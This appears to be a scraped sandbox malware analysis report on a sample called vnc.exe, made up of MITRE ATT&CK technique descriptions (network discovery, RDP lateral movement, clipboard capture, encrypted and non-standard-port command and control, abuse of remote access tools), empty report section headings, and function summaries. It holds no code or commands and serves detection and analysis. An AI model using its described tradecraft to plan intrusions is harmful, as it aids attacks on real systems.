Description:	Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.
Tactics:	Lateral Movement
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process Monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report vnc.exe

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Mitre Att&ck Matrix

Signature Overview

AV Detection:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Function 0040565A, Relevance: 52.7, APIs: 20, Strings: 10, Instructions: 205
sleepfileUNIQUE

Function 00405533, Relevance: 50.8, APIs: 8, Strings: 21, Instructions: 71
sleeplibraryloaderUNIQUE

Function 004033D1, Relevance: 9.1, APIs: 6, Instructions: 70
processCOMMON

Function 0002083A, Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Function 00405AF4, Relevance: 413.9, APIs: 116, Strings: 120, Instructions: 937
registrysleepfileUNIQUE

Function 004061A2, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 181
registrysleepthreadUNIQUE

Function 00401084, Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Function 0002003C, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 471
memorylibraryUNIQUE

Function 00401717, Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 143
sleepUNIQUE

Function 004035DF, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
sleepprocessUNIQUE

Function 0002082F, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00403775, Relevance: 172.2, APIs: 67, Strings: 31, Instructions: 655
sleepfileUNIQUE

Function 00401B06, Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 684
sleepnetworkstringUNIQUECrypto

Function 004050C2, Relevance: 49.3, APIs: 10, Strings: 18, Instructions: 331
clipboardmemoryUNIQUE

Function 0040599A, Relevance: 29.8, APIs: 15, Strings: 2, Instructions: 90
filethreadUNIQUE

Function 004054CE, Relevance: 9.0, APIs: 6, Instructions: 27
clipboardsleepCOMMON

Description:	Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre